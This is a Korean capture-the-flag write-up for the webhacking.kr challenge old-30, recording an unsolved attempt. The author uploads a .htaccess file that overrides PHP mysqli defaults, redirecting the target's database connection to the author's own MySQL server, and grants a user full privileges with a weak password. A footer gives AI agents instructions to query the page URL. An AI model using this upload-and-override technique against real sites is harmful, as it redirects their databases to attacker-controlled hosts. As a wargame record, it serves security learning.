# old-30 (350) : UNSOLVED

첫 화면이다.

![](/files/-M1fR4bx_pE7mDaHTGAB)

링크를 클릭해 본 소스는 아래와 같다.

```php
<?php
  if($_GET['view_source']) highlight_file(__FILE__);
  $db = mysqli_connect() or die();
  mysqli_select_db($db,"chall30") or die();
  $result = mysqli_fetch_array(mysqli_query($db,"select flag from chall30_answer")) or die();
  if($result[0]){
    include "/flag";
  }
?>
```

`mysqli_connect()`  함수는 host, username, password, dbname, port, socket을 인자로 넘겨주는데 위 소스에서는 아무것도 없다.

이런 경우, php.ini 혹은 .htaccess에서 설정 값을 가져와 사용한다.

개인서버로의 설정 값을 적은 .htaccess 파일을 업로드해 조작할 수 있을 것이라 생각하였다.

<http://webhacking.kr:10003/upload/vYvKNmWo2aOA/.htaccess> 에 접속을 하니 Not Found가 아닌 Forbidden이 뜬다.

파일이 존재한다는 뜻이다.

![](/files/-M1hTp9b4t5NeO2uY8n5)

AWS EC2 MySQL 서버에 chall30이라는 데이터베이스를 만들고, chall30\_answer이라는 테이블을 만든 후 flag 컬럼에 `abc` 라는 값을 넣는다.

```sql
mysql> CREATE DATABASE chall30;
Query OK, 1 row affected (0.01 sec)

mysql> USE chall30;
Database changed
mysql> CREATE TABLE chall30_answer (flag VARCHAR(255) NOT NULL);
Query OK, 0 rows affected (0.00 sec)

mysql> INSERT INTO chall30_answer VALUES ('abc');
Query OK, 1 row affected (0.01 sec)

mysql> SELECT * FROM chall30_answer;
+------+
| flag |
+------+
| abc  |
+------+
1 row in set (0.00 sec)
```

사용자 추가 및 권한을 부여한다.

```sql
mysql> CREATE USER 'donghyunlee00'@'%' IDENTIFIED BY '12345678';
Query OK, 0 rows affected (0.01 sec)

mysql> GRANT ALL PRIVILEGES ON *.* TO 'donghyunlee00'@'%';
Query OK, 0 rows affected (0.01 sec)

mysql> FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.01 sec)
```

서버 구축 및 외부 접속 설정은 아래 링크를 참조하였다.

{% embed url="<https://luji.tistory.com/7>" %}

아래와 같이 .htaccess 파일을 만들어 업로드한다.

```bash
~
❯ cat .htaccess
php_value mysqli.default_host "SERVER_HOST_IP:3306"
php_value mysqli.default_user "donghyunlee00"
php_value mysqli.default_password "12345678"
```

완료 메시지가 뜨면서 업로드된다.

![](/files/-M1hvAdmmWGBWjsqgjBu)

<http://webhacking.kr:10003/upload/Te6D05SZCVjx/index.php> 에 접속한다.

~~***2020.03.08 갱신***~~

~~***플래그가 출력될 것으로 예상하였지만 그렇지 않았다.***~~

~~***MySQLWorkbench로 접속해 동작 확인까지 마쳤다.***~~

~~***해결하신 분은 <dominic2009@snu.ac.kr>로 알려주시면 감사하겠습니다.***~~


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://donghyunlee.gitbook.io/write-up/wargame/webhacking.kr/old-30-350.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
